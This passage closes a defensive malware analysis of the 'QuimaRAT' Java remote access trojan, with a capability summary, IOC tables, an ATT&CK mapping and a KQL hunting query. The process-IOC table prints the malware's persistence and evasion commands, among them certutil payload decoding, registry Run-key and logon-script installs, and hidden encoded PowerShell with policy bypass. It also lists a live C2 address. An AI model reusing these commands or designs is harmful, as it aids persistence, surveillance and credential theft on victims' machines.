  3. Remote access: REMOTE_DESKTOP_*, HARDWARE_RDP_*, HVNC_* (Hidden VNC session; operator gets a full invisible desktop with mouse, keyboard, clipboard and HVNC_RUN to launch apps in it), RDP_TUNNEL_*
  4. Shell/execution: CONSOLE_*, SCRIPT_RUN, DOWNLOAD_EXECUTE, SEND_FILE_EXECUTE, SEND_FILELESS_EXECUTE
  5. Surveillance: KEYLOGGER_START/DATA/STOP/STATUS/FETCH, SCREENSHOT_REQUEST, SCREENSHOT_ALERT_*, SCREEN_RECORD_*, WEBCAM_*, MICROPHONE_*, AUDIO_RECORD_*, CLIPBOARD_GET/SET
  6. Credential/data theft: LSASS_DUMP_REQUEST/RESP, BROWSER_RECOVERY_REQUEST/RESP, BROWSER_HISTORY_REQUEST/RESP, CLEAR_BROWSER_REQUEST, FTP_PASSWORD_RECOVERY, EMAIL_RECOVERY_REQUEST/RESP, APP_RECOVERY_REQUEST/RESP, COIN_WALLET_RECOVERY, EXT_STEAL_REQUEST/RESP
  7. Injection/execution: DLL_INJECT_REQUEST/RESP, SHELLCODE_EXEC_REQUEST/RESP, PROC_HOLLOW_REQUEST/RESP
  8. Defense Evasion: AMSI_BYPASS_REQUEST/RESP, ETW_PATCH_REQUEST/RESP, ROOTKIT_REQUEST/RESP, EVENT_LOG_CLEAR
  9. Lateral Movement & AD: LATERAL_MOVE_REQUEST/RESP, AD_ENUM_REQUEST/RESP, NET_SHARE_REQUEST/RESP, NET_DISCOVERY_REQUEST/RESP, NETWORK_SCAN_START/RESULT/STOP
  10. Network tunneling: SOCKS_*, RPROXY_*, PORT_FORWARD_*
  11. Operator interaction & social engineering: CHAT_*, MESSAGE_BOX, TOAST_NOTIFY_REQUEST, PHISHING_REQUEST/RESP, BROWSER_HIJACK_REQUEST/RESP, HIDDEN_BROWSER_*, EDIT_HOSTS, FUN_ACTION (pranks on the victim most likely, because why not)
  12. Financial crime: CRYPTO_CLIPPER_START/STOP/STATUS/LOG
  13. Persistence Management: PERSISTENCE_INSTALL/REMOVE (the four mechanisms we saw earlier), PERSISTENCE_MGR_REQUEST/RESP/Action
  14. Plugins: LOAD_PLUGIN/UNLOAD_PLUGIN/PLUGIN_LOADED_ACK/PLUGIN_LOAD_FAILED

In fact, the opcode count in this file is so massive that the CFR decompiler itself inserted a comment highlighting the fact that this is one of the most complex enum files it’s seen, stating “Opcode count of 24254 triggered aggressive code reduction. Override with –aggressivesizethreshold” (note here the CFR opcode count is a separate metric from the 255 unique packet types held within PacketType.java). QuimaRAT was not created to simply spy on a victim machine and allow the threat actor to perform a small handful of select functions. It was created as an all-encompassing attack framework, packaged into a RAT format to allow attackers to carry out their entire attack chain once the implant lands on a device. As a comparison example, the well-known AsyncRAT has a mere fraction of the number of packet types uncovered in this sample, with most estimates landing in the 30-40 range.

Conclusion

This QuimaRAT sample serves to highlight the importance of threat intelligence in any formal and mature cybersecurity program. Malware takes many shapes and forms, and with the emergence of AI-assisted adversaries, defenders should expect to see attacker toolkits continue to expand at a rapid pace, as is evidenced by the sample analyzed in this article. This sample represents a sophisticated, multi-stage intrusion framework delivered via a self-extracting VBScript dropper and executed as a Java Archive payload. QuimaRAT is touted as a highly modular Java-based RAT able to be deployed on numerous systems, and this analysis shows just how true that claim is. QuimaRAT’s feature set reflects deliberate design choices aimed at maximizing host compatibility, evading static detection, and ensuring operational persistence without requiring elevated privileges.

The initial dropper employs several well-documented yet effective living-off-the-land techniques: payload concealment as VBScript comment lines, base64 decoding via certutil, and a bring-your-own-JRE delivery from legitimate vendor CDNs to ensure execution on hosts without an existing Java runtime. The dropper self-terminates and removes its own artifacts upon successful handoff to the JAR, leaving minimal evidence of the initial delivery stage.

The payload is a mature, commercial-grade remote access tool built upon the org.svcruntime protocol framework, exposing 255 distinct packet types across all major offensive capability categories. Its protocol design - including dual-channel SSL/WebSocket C2, TLS certificate pinning, optional DoH resolution - reflects intentional engineering against both network-level blocking and infrastructure takedown. The modular architecture means the static binary understates the tool’s true capability ceiling; additional modules can be pushed over the wire at operator discretion without reinfection.

The XOR-encrypted configuration (config.dat) reveals that this deployment was configured conservatively relative to the tool’s full capability set. Anti-VM evasion, scheduled task persistence, COM hijack persistence, and startup folder persistence were all present in the code but disabled. The active persistence mechanism - the somewhat unique HKCU\Environment\UserInitMprLogonScript registry key and the standard Run key (WindowsPatch) - is complemented by a VBScript watchdog (sys_wd.vbs) that monitors the RAT process and relaunches it if terminated, using a file-based kill switch (.wd_stop) to coordinate intentional shutdowns.

The most significant capability findings for this environment are the presence of LSASS_DUMP_REQUEST, ETW_PATCH_REQUEST, and AMSI_BYPASS_REQUEST packet types, none of which require reinfection to activate. An operator with an established C2 session can silently disable AMSI, blind EDR telemetry by patching ETW providers, dump LSASS credentials, and pivot laterally via the built-in SOCKS proxy and port-forwarding channels — all from a persistent javaw.exe process that has no obvious reason to generate analyst attention. The HVNC_* packet family, providing a completely hidden parallel desktop session, and the CRYPTO_CLIPPER_* family, enabling real-time cryptocurrency address substitution, extend the threat model into both covert access and active financial crime.

In summary: This sample is a highly capable, well-engineered RAT with a 73-technique ATT&CK footprint, active C2 infrastructure, and confirmed persistence on any host where the dropper executed successfully. Remediation requires removal of all established persistence mechanisms, termination of both the RAT process and watchdog process in the correct order (.wd_stop must be written before process termination to prevent watchdog-driven relaunch), and deletion of the full artifact set enumerated in the IOC table below. Given the tool’s credential-harvesting and lateral movement capabilities, any host with a confirmed or suspected infection should be treated as fully compromised and assessed for downstream exposure prior to remediation.


Indicators of Compromise (IOCs)

Network IOCs

TypeIndicatorNotes
C2 IP147.124.222.192Primary C2, both channels
C2 Port4445SSL transport
C2 Port443WebSocket transport
TLS Cert Hashf1c55b6ab06cce7d2adf5e3dcb544af3827c0dfdebde2c3ad702c1c5ca2c36ecPinned C2 certificate — survives IP rotation
Plugin Base Hash32e0ac6473bfa854f777bdca6be1b2282ebaff7379ae256756cbb113b5525efaPlugin integrity verification hash
JRE Download URLhttps://api.adoptium.net/v3/binary/latest/17/ga/windows/x64/jre/hotspot/normal/eclipseBYO-JRE fallback #1
JRE Download URLhttps://cdn.azul.com/zulu/bin/zulu17.54.21-ca-jre17.0.13-win_x64.zipBYO-JRE fallback #2 — version-pinned
JRE Download URLhttps://corretto.aws/downloads/latest/amazon-corretto-17-x64-windows-jre.zipBYO-JRE fallback #3

Detection note: wscript.exe or javaw.exe making outbound connections to JRE vendor CDNs is highly anomalous. The Azul URL is version-pinned and uniquely identifying for this builder. The cert hash f1c55b6a... is the strongest durable network IOC — it fingerprints the C2 independently of IP.


Filesystem IOCs

Dropper / Staging Layer

PathNotes
%LOCALAPPDATA%\.ssadocument\VBS dropper JRE staging directory — hidden dotfolder
%LOCALAPPDATA%\.ssadocument\jre\Bundled portable JRE (private, not system-wide)
%LOCALAPPDATA%\.ssadocument\jre_download.zipJRE download artifact (deleted post-install)
%LOCALAPPDATA%\.ssadocument\jre_extract\JRE unzip staging (deleted post-install)
%TEMP%\~<random>\Temporary staging directory created by dropper
%TEMP%\~<random>\r.jarInitial JAR payload drop (temp, may be deleted)
%TEMP%\<random>tmpB64 — certutil input (auto-deleted)
%TEMP%\<random>tmpBin — certutil output (auto-deleted)
%TEMP%\<random>.jsJScript XOR helper (auto-deleted, if XOR path used)

RAT Install Layer

PathNotes
%LOCALAPPDATA%\.windowspatch\jre\bin\javaw.exeJAR’s expected JRE path — derived from regName config value. Note that the value in config overrides the path hardcoded in the VBScript dropper. Hunt both.
%APPDATA%\SlackData\RAT install folder (FOLDER from config)
%APPDATA%\SlackData\ssa_document.libInstalled RAT JAR (FILE_NAME from config — .lib extension masquerade)
%APPDATA%\SlackData\.cache\Runtime working data / cache
%APPDATA%\SlackData\.hwidHardware fingerprint file — victim tracking ID
%APPDATA%\.cache\plugins\Plugin module storage
%LOCALAPPDATA%\Microsoft\Windows\Caches\plg\Secondary plugin cache — hidden in legitimate Windows directory
%APPDATA%\QuimaLogs\Offline exfiltration queue (store-and-forward when C2 unreachable)
%APPDATA%\QuimaLogs\.offline_enabledOffline mode sentinel file

Watchdog Layer

PathNotes
%APPDATA%\Microsoft\Windows\Templates\sys_wd.vbsWatchdog VBS — monitors and relaunches RAT process; named sys_wd.vbs
%APPDATA%\Microsoft\Windows\Templates\.wd_stopWatchdog kill-switch file — presence signals intentional shutdown

Startup Persistence

PathNotes
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsPatch.batStartup folder .bat persistence
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsPatch.lnkStartup folder .lnk persistence (separate variant)

Detection note: The install folder name (SlackData) and file name (ssa_document.lib) are config-driven via folder/fileName fields and will vary across builds. Hunt on the pattern (%APPDATA%\<name>\<file>.lib launched by javaw) rather than literal strings alone. QuimaLogs and .hwid are more stable builder-level artifacts.


Registry IOCs

Hive / KeyValue NameDataNotes
HKCU\Software\Microsoft\Windows\CurrentVersion\RunWindowsPatch"<java>" -Xmx128m -jar "<jar>"Standard Run key persistence — T1547.001
HKCU\EnvironmentUserInitMprLogonScriptwscript.exe //B //Nologo "<sys_wd.vbs>"Logon script persistence — T1037.001; quieter than Run key

Detection note: Any UserInitMprLogonScript value referencing a .jar, javaw, or .vbs is high-confidence malicious. Legitimate use of this key is rare. Sysmon Event ID 13 (RegistryValueSet) targeting HKCU\Environment\UserInitMprLogonScript is a clean hunt.


Scheduled Task IOCs

FieldValueNotes
Task NameWindowsPatchConfig-driven via regName
TriggerAt logon — current userNew-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
Action"<java>" -Xmx128m -jar "<jar>"Runs hidden, no execution time limit
Settings-AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0Fires on laptops regardless of power state
Creation methodpowershell.exe Register-ScheduledTaskCreated via cmdlet, not schtasks.exe

Process / Behavioral IOCs

ParentChild / CommandNotes
wscript.execertutil -f -decode <tmpB64> <tmpBin>Dropper payload extraction — LOLBin abuse
wscript.exejavaw.exe -Xmx256m -jar r.jarInitial RAT launch from dropper
javaw.execmd.exe /c reg add HKCU\...\Run /v WindowsPatch ...Run key persistence install
javaw.execmd.exe /c reg add HKCU\Environment /v UserInitMprLogonScript ...Logon script persistence install
javaw.exepowershell.exe -nop -ep bypass -w hidden -EncodedCommand <b64>Watchdog kill + Register-ScheduledTask
javaw.execmd.exe /c wmic process where "Name='wscript.exe' AND CommandLine LIKE '%sys_wd.vbs%'" call terminateLauncher cleanup
javaw.exetaskkill /F /IM wscript.exe /FI "COMMANDLINE LIKE %%sys_wd.vbs%%"Launcher cleanup (fallback)
javaw.exepowershell.exe ... Invoke-WmiMethod -Class Win32_Process -Name Create ...Watchdog relaunch via WMI
javaw.execmd.exe /c tasklistAnti-VM process enumeration
javaw.execmd.exe /c reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"Anti-VM registry check
javaw.execmd.exe /c reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"Anti-VM registry check
javaw.execmd.exe /c tasklist /NH | find /c /v ""Anti-VM process count check
javaw.execmd.exe /c reg delete HKCU\...\Run /v WindowsPatch /fUninstall / self-removal
javaw.exeschtasks /delete /tn WindowsPatch /fScheduled task removal
javaw.exejavaw.exe -Xmx128m -jar ssa_document.libPersistent launch (post-install)

Detection note: javaw.exe as a parent of cmd.exe, powershell.exe, reg.exe, schtasks.exe, or wmic.exe is the highest-confidence behavioral signature. Java applications have no legitimate reason to install registry persistence, kill WScript processes, or invoke WMI process creation.


Cryptographic IOCs

TypeValueNotes
XOR config keyC5 E2 7F 18 16 0E 1E 1D 53 FD10-byte repeating key; decrypts config.dat → JSON
Java string XOR key0x37 (55 decimal)Fixed key for a(int...) varargs string obfuscator throughout JAR
C2 TLS cert hashf1c55b6ab06cce7d2adf5e3dcb544af3827c0dfdebde2c3ad702c1c5ca2c36ecPinned in config — network IOC independent of IP
Plugin base hash32e0ac6473bfa854f777bdca6be1b2282ebaff7379ae256756cbb113b5525efaPlugin integrity verification

Configuration IOCs

FieldValueNotes
targetOswindowsOS gate
hosts[0].ip147.124.222.192Primary C2
hosts[0].port4445SSL channel
hosts[0].transportSSL
hosts[1].ip147.124.222.192Same IP, second channel
hosts[1].port443WebSocket channel — blends with HTTPS
hosts[1].transportWEBSOCKET
serverIdCLIENTCampaign/group tag — default/unconfigured value
delay2Reconnect delay (seconds)
fileNamessa_document.libInstalled JAR filename
folderSlackDataInstall folder name
regNameWindowsPatchPersistence value/task/file name
certHashf1c55b6ab06cce7d2adf5e3dcb544af3827c0dfdebde2c3ad702c1c5ca2c36ecPinned TLS cert
pluginBaseHash32e0ac6473bfa854f777bdca6be1b2282ebaff7379ae256756cbb113b5525efaPlugin hash
installRegtrueRun key + logon script persistence active
installPersisttrueMaster persistence gate — active
enableWatchdogtrueWatchdog active
antiVmfalseVM evasion disabled this deployment
installSchfalseScheduled task disabled this deployment
installStartfalseStartup folder disabled this deployment
installComHijackfalseCOM hijack disabled this deployment

Build / Attribution IOCs

TypeValueNotes
JAR Main-Classorg.ixk50z.rl6d.tkn.wradkObfuscated entry point
Protocol packageorg.svcruntime.core.protocolUnobfuscated — primary family attribution string
Offline log dirQuimaLogsDistinctive builder-level string — pivot for family identification
Build-Ided447756-af45-4496-945e-437f4c6b0c91Per-build UUID from JAR manifest
Build-Timestamp1783565120950Epoch milliseconds — 2026 build date
X-Seed924e8JGMJOR475CjKBfJ4izBuilder obfuscation seed — appears in manifest
manifestCreatedByoB7s5ZKVe1rIWrHiktxoDiQ0brggRT53RTWGBuilder watermark — present in manifest and config
manifestComment59TJfdPtuM5k6RLrekXyHh4JW3VmSPssg3QwtseGBuilder watermark — present in manifest and config
Payload marker'__PAYLOAD__VBS self-extraction sentinel line
Dropper filenamesys_wd.vbsOn-disk name of VBS launcher (from JAR cleanup code)

Attribution note: org.svcruntime, QuimaLogs, and the dual-manifest/config watermark pattern are the strongest leads for family identification. Search threat intel sources for these strings, particularly QuimaLogs (unique and unlikely to appear in legitimate software) and org.svcruntime.core.protocol (unobfuscated framework namespace). serverId: "CLIENT" suggests an unconfigured or default builder deployment.


IOC Summary Counts

CategoryCount
Network (IPs / Ports / URLs / Hashes)11
Filesystem paths20
Registry keys/values2
Scheduled tasks1
Behavioral (process chains)14
Cryptographic4
Configuration fields20
Build / Attribution8
Total80

MITRE ATT&CK Mapping

255 PacketTypes enumerated. Status: Active = observed/config-enabled in this deployment. Capability = present in binary or protocol but config-disabled or packet-type only. (Dropper) = VBS delivery layer.

TacticIDTechnique / Sub-techniqueEvidence / NotesStatus
Initial AccessT1566PhishingInferred delivery vector for VBS dropperActive
ExecutionT1059.005Command & Scripting: Visual Basicsys_wd.vbs dropper; payload self-extractionActive (Dropper)
ExecutionT1059.001Command & Scripting: PowerShellPersistence install; watchdog kill (-EncodedCommand -ep bypass -w hidden)Active
ExecutionT1059.003Command & Scripting: Windows Command Shellcmd.exe /c throughout dropper and JAR persistence/cleanup routinesActive
ExecutionT1047Windows Management InstrumentationInvoke-WmiMethod Win32_Process.Create for watchdog launch; wmic process ... call terminateActive
ExecutionT1105Ingress Tool TransferBYO-JRE download from Adoptium/Azul/Corretto if Java not presentActive (Dropper)
ExecutionT1218System Binary Proxy Execution: Certutilcertutil -f -decode for base64 payload extractionActive (Dropper)
ExecutionT1055.001Process Injection: DLL InjectionDLL_INJECT_REQUEST/RESPCapability
ExecutionT1055.012Process Injection: Process HollowingPROC_HOLLOW_REQUEST/RESPCapability
ExecutionT1055Process Injection: ShellcodeSHELLCODE_EXEC_REQUEST/RESPCapability
PersistenceT1547.001Boot/Logon Autostart: Registry Run Keys / Startup FolderRun key HKCU\...\Run\WindowsPatch; WindowsPatch.bat in Startup folderActive (installReg:true)
PersistenceT1037.001Boot/Logon Init Scripts: Logon Script (Windows)HKCU\Environment\UserInitMprLogonScriptjavaw -Xmx128m -jarActive (installReg:true)
PersistenceT1053.005Scheduled Task/Job: Scheduled TaskRegister-ScheduledTask WindowsPatch; at-logon, no time limitCapability (installSch:false)
PersistenceT1546.015Event Triggered Execution: COM HijackingINSTALL_COM_HIJACK code path present in wickrrkmCapability (installComHijack:false)
Privilege EscalationT1548.002Abuse Elevation Control: Bypass UACUAC_SPOOF_REQUEST/RESPCapability
Privilege EscalationT1134.001Access Token Manipulation: Token Impersonation/TheftTOKEN_IMPERSONATE, TOKEN_STEAL_REQUEST/RESP, TOKEN_ENUM_REQUESTCapability
Defense EvasionT1027Obfuscated Files or InformationMulti-layer: base64 payload in VBS comment lines; XOR-encrypted config.dat; Java string arithmetic (char)(A-B) + a(int...) XOR-varargs obfuscationActive
Defense EvasionT1140Deobfuscate/Decode Files or InformationRuntime XOR config decrypt (10-byte key C5E27F18160E1E1D53FD); certutil base64 decodeActive
Defense EvasionT1036MasqueradingWindowsPatch (Run key/task name); SlackData install folder; ssa_document.lib (JAR with .lib extension); Startup .lnkActive
Defense EvasionT1564.001Hide Artifacts: Hidden Files and Directories.ssadocument, .windowspatch, .wd_stop, .hwid dotfiles/dotfolders; plugin cache under %LOCALAPPDATA%\Microsoft\Windows\Caches\plgActive
Defense EvasionT1497.001Virtualization/Sandbox Evasion: System Checks6-layer j(): VM guest-tool processes, VM registry keys, VM driver files, sandbox usernames/hostnames, screen resolution ≤640×480, process count <15Capability (antiVm:false)
Defense EvasionT1562.001Impair Defenses: Disable or Modify ToolsAMSI_BYPASS_REQUEST/RESP; FILE_DEFENDER_EXCLUDE/REMOVE_EXCLUDECapability
Defense EvasionT1562.006Impair Defenses: Disable or Modify ETWETW_PATCH_REQUEST/RESP — patches ETW providers in-memory, blinds EDR telemetryCapability
Defense EvasionT1014RootkitROOTKIT_REQUEST/RESPCapability
Defense EvasionT1070.001Indicator Removal: Clear Windows Event LogsEVENT_LOG_CLEARCapability
Defense EvasionT1070.004Indicator Removal: File DeletionFull artifact cleanup in e(); dropper temp file deletion (tmpB64, tmpBin, jf JScript temp)Active
Defense EvasionT1070.009Indicator Removal: Clear Persistencee() removes all four persistence mechanisms; deletes sys_wd.vbs, .wd_stopCapability
Defense EvasionT1620Reflective Code LoadingSEND_FILELESS_EXECUTE — in-memory execution, no disk writeCapability
DiscoveryT1082System Information DiscoverySYSTEM_INFO_REQUEST, ENV_VARS_REQUESTCapability
DiscoveryT1083File and Directory DiscoveryFILE_LIST, FILE_DRIVES, FILE_SEARCH_*Capability
DiscoveryT1057Process DiscoveryPROCESS_LIST; anti-VM tasklist enumeration in j()Active / Capability
DiscoveryT1012Query RegistryREGISTRY_QUERY; anti-VM reg query for VM keys in j()Active / Capability
DiscoveryT1007System Service DiscoverySERVICE_LISTCapability
DiscoveryT1010Application Window DiscoveryACTIVE_WINDOW_LISTCapability
DiscoveryT1518Software DiscoverySOFTWARE_LISTCapability
DiscoveryT1518.001Software Discovery: Security Software DiscoveryAnti-VM analysis-tool enumeration in j(): Wireshark, x64dbg, Process Hacker, IDA Pro, ProcMon, etc.Capability (antiVm:false)
DiscoveryT1046Network Service ScanningNETWORK_SCAN_START/RESULT/STOP — scans from victim hostCapability
DiscoveryT1018Remote System DiscoveryNET_DISCOVERY_REQUEST/RESPCapability
DiscoveryT1135Network Share DiscoveryNET_SHARE_REQUEST/RESPCapability
DiscoveryT1482Domain Trust DiscoveryAD_ENUM_REQUEST/RESP — Active Directory enumerationCapability
DiscoveryT1016System Network Configuration DiscoveryCONNECTIONS_LIST, WIRELESS_LISTCapability
DiscoveryT1049System Network Connections DiscoveryCONNECTIONS_LIST — active TCP/UDP connectionsCapability
DiscoveryT1614System Location DiscoveryLOCATION_REQUEST/RESPCapability
DiscoveryT1033System Owner/User DiscoveryUsername/hostname checks in j(); included in HANDSHAKE check-in dataActive
Lateral MovementT1021.001Remote Services: RDPRDP_TUNNEL_*, HARDWARE_RDP_*, RDP_ACTION_REQUESTCapability
Lateral MovementT1021Remote Services: Lateral MovementLATERAL_MOVE_REQUEST/RESPCapability
Lateral MovementT1570Lateral Tool TransferSEND_FILE_EXECUTE, DOWNLOAD_EXECUTE from victim hostCapability
CollectionT1056.001Input Capture: KeyloggingKEYLOGGER_START/DATA/STOP/STATUS/FETCH — persistent, with offline storeCapability
CollectionT1056.002Input Capture: GUI Input CaptureCLIPBOARD_LOG_START/DATA/STOP — persistent clipboard interceptionCapability
CollectionT1113Screen CaptureSCREENSHOT_REQUEST/RESP, SCREEN_RECORD_*, SCREENSHOT_ALERT_* (activity-triggered)Capability
CollectionT1123Audio CaptureMICROPHONE_*, AUDIO_RECORD_*, REVERSE_MICROPHONE_* — three independent mechanismsCapability
CollectionT1125Video CaptureWEBCAM_START/FRAME/STOPCapability
CollectionT1115Clipboard DataCLIPBOARD_GET/SET, CLIPBOARD_LOG_*, CRYPTO_CLIPPER_*Capability
CollectionT1074Data StagedQuimaLogs\ offline queue with .offline_enabled sentinel for store-and-forward exfilActive
CollectionT1005Data from Local SystemFull filesystem access via file manager commandsCapability
CollectionT1185Browser Session HijackingBROWSER_HIJACK_REQUEST, HIDDEN_BROWSER_* (invisible browser session)Capability
Credential AccessT1003.001OS Credential Dumping: LSASS MemoryLSASS_DUMP_REQUEST/RESP — highest severity findingCapability
Credential AccessT1555.003Credentials from Password Stores: Web BrowsersBROWSER_RECOVERY_REQUEST/RESP, CHROME_FORM_GRABBERCapability
Credential AccessT1555Credentials from Password StoresPASSMGR_DUMP_REQUEST, APP_RECOVERY_REQUEST, FTP_PASSWORD_RECOVERY, EMAIL_RECOVERY_REQUESTCapability
Credential AccessT1539Steal Web Session CookieBROWSER_RECOVERY, EXT_STEAL_REQUEST (browser extension session tokens)Capability
Credential AccessT1528Steal Application Access TokenEXT_STEAL_REQUEST/RESP — browser extensions including 2FA apps and crypto walletsCapability
Credential AccessT1552Unsecured CredentialsVPN_EXTRACT_REQUEST/RESP, RDP_CRED_REQUEST/RESPCapability
Credential AccessT1134.001Access Token Manipulation: Token ImpersonationTOKEN_IMPERSONATE, TOKEN_STEAL_REQUEST/RESPCapability
Command & ControlT1071.001Application Layer Protocol: Web ProtocolsWebSocket C2 on port 443Active
Command & ControlT1573Encrypted ChannelDual-channel: SSL (port 4445) + WebSocket TLS (port 443); cert pinning via certHash f1c55b6a...Active
Command & ControlT1571Non-Standard PortSSL C2 on port 4445Active
Command & ControlT1008Fallback ChannelsDual SSL+WebSocket; pastebinUrl dead-drop fallback; dohDomain DoH resolutionCapability (disabled this config)
Command & ControlT1102.001Web Service: Dead Drop ResolverPASTEBIN_URL for live C2 IP resolution — survives static IP blockingCapability (disabled)
Command & ControlT1568Dynamic ResolutionDOH_DOMAIN DNS-over-HTTPS for C2 hostname resolution — evades DNS monitoringCapability (disabled)
Command & ControlT1090.003Proxy: Multi-hop ProxySOCKS_*, RPROXY_* — victim as network pivotCapability
Command & ControlT1572Protocol TunnelingPORT_FORWARD_*, RDP_TUNNEL_*Capability
ImpactT1657Financial TheftCRYPTO_CLIPPER_START/STOP/STATUS/LOG — replaces cryptocurrency addresses in clipboardCapability
ImpactT1486Data Encrypted for ImpactFILE_ENCRYPT/DECRYPT — ransomware-adjacent file encryptionCapability
ImpactT1529System Shutdown/RebootSYSTEM_POWER, POWER_ACTIONCapability
ImpactT1565.001Data Manipulation: Stored Data ManipulationEDIT_HOSTS — modifies hosts file for DNS hijackingCapability
ImpactT1489Service StopSERVICE_ACTIONCapability

Summary Counts

TacticTechniques Mapped
Initial Access1
Execution8
Persistence4
Privilege Escalation2
Defense Evasion12
Discovery14
Lateral Movement3
Collection9
Credential Access7
Command & Control8
Impact5
Total73

Detection Query

Below is a sample KQL query that covers the entire attack chain, from initial dropper detection to payload execution. As always, test new detection rules in your environment prior to operationalizing them, making sure to identify baseline behavior and tune it out accordingly.

let DropperIndicators =
    DeviceFileEvents
    | where FolderPath contains ".ssadocument"
    or FolderPath contains "jre_download.zip"
    or FolderPath contains "jre_extract"
    or (FolderPath contains "r.jar" and FileName == "r.jar")
    | extend QuerySource = "DropperIndicators";
let RATInstaller =
    DeviceFileEvents
    | where (FolderPath has_all("users", "appdata", "roaming", ".cache") and InitiatingProcessFileName contains "java")
    or FolderPath contains "QuimaLogs"
    or FolderPath contains "ssa_document.lib"
    | extend QuerySource = "RATInstaller";
let WatchdogIndicator =
    DeviceFileEvents
    | where FolderPath contains @"Microsoft\Windows\Templates"
    | where FileName has_any("sys_wd.vbs", ".wd_stop")
    | extend QuerySource = "WatchdogIndicator";
let StartupPersistence =
    DeviceFileEvents
    | where FolderPath contains @"Microsoft\Windows\Start Menu\Programs\Startup"
    | where FileName endswith ".lnk" or FileName endswith ".bat"
    | extend QuerySource = "StartupPersistence";
let ScheduledTaskPersistence =
    DeviceProcessEvents
    | where InitiatingProcessCommandLine has_all("Register-ScheduledTask", "New-ScheduledTaskTrigger", "AtLogOn", "-User $env:USERNAME", "-Xmx128m", "jar")
    | extend QuerySource = "Scheduled Task Persistence"
    | project QuerySource, TimeGenerated, DeviceName, ActionType, FileName, FolderPath,
              InitiatingProcessCommandLine, InitiatingProcessFileName, ProcessCommandLine;
let RunKeyPersistence =
    DeviceRegistryEvents
    | where ActionType contains "RegistryKeyCreated" or ActionType contains "RegistryValueSet"
    | where RegistryKey contains @"Software\Microsoft\Windows\CurrentVersion\Run" or (RegistryKey contains "Environment" and RegistryValueName contains "UserInitMprLogonScript")
    | where RegistryValueData has_any(".jar", ".vbs")
    | extend QuerySource = "Run Key Registry Persistence"
    | project QuerySource, TimeGenerated, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData;
let JavaSpawnedCommands =
    DeviceProcessEvents
    | where InitiatingProcessFileName has_any("java", "javaw")
    | extend CommandType = case(
        ProcessCommandLine has_all("cmd", "reg", "add", "HKCU", "Run"), "Registry Run key persistence",
        ProcessCommandLine has_all("cmd", "reg", "add", "HKCU", "UserInitMprLogonScript"), "Logon script persistence install",
        ProcessCommandLine has_all("powershell", "nop", "ep", "hidden", "enc"), "Watchdog kill & Register-ScheduledTask",
        ProcessCommandLine has_all("powershell", "Invoke-WmiMethod", "Win32_Process"), "Watchdog relaunch",
        ProcessCommandLine has_all("schtasks", "delete", "tn"), "Scheduled task removal",
        ProcessCommandLine has_all("java", "xmx128m", "jar"), "Persistence launch",
        "Null"
    )
    | where CommandType != "Null"
    | extend QuerySource = "Java-Spawned Command"
    | project QuerySource, TimeGenerated, DeviceName, ActionType, FileName, FolderPath, SHA256,
              CommandType, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName;
union kind=outer DropperIndicators, RATInstaller, WatchdogIndicator, ScheduledTaskPersistence, RunKeyPersistence, JavaSpawnedCommands
| sort by DeviceName asc, TimeGenerated asc